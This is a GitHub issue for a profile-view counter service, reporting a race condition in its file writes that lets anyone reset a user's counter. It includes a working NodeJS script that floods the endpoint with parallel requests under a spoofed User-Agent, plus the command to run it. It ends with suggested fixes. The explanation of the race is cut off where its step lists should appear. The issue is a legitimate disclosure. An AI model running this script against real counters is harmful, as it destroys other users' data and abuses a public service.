antonkomarev / github-profile-views-counter

It counts how many times your GitHub profile has been viewed. Free cloud micro-service.
https://komarev.com/sources/github-profile-views-counter
MIT License
4.02k stars 365 forks source link

Race condition vulnerability causes counter reset #66

Closed Brikaa closed 1 year ago

Brikaa commented 1 year ago

A user's counter can be reset by spamming requests, this happens due to a race condition while truncating and writing to a file. The following NodeJS script can be used to reset a user's counter:

// Send requestsPerBulk requests in parallel (let's call that a bulk)
// Wait till they are done
// Repeat till a total of bulks * requestsPerBulk requests

// After each bulk, output the number of succeeded requests and the number of failed requests
(async () => {
  const url = process.argv[2];
  const bulks = parseInt(process.argv[3]);
  const requestsPerBulk = parseInt(process.argv[4]);
  const headers = new Headers();
  headers.append('User-Agent', 'github-camo');
  for (let i = 0; i < bulks; ++i) {
    const promises = [];
    console.time('bulk');
    for (let j = 0; j < requestsPerBulk; ++j) {
      promises.push(fetch(url, { headers }));
    }
    const results = await Promise.all(promises);
    const failed = results.filter((res) => res.status >= 400).length;
    console.log(`Bulk ${i}:- failed: ${failed}, succeeded: ${requestsPerBulk - failed}`);
    console.timeEnd('bulk');
    await new Promise((r) => setTimeout(r, 500));
  }
})();

Run it as

node script_name.js ghpvc_url 50 20

and observe the counter, it will reset at a certain point in time.

Here is an explanation of the race condition that happens according to my understanding: Requests need to do the following:

The following race can happen between two requests (A and B):

This can be fixed by using a lock on the views-count file or by migrating to using a database management system that automatically handles concurrency issues.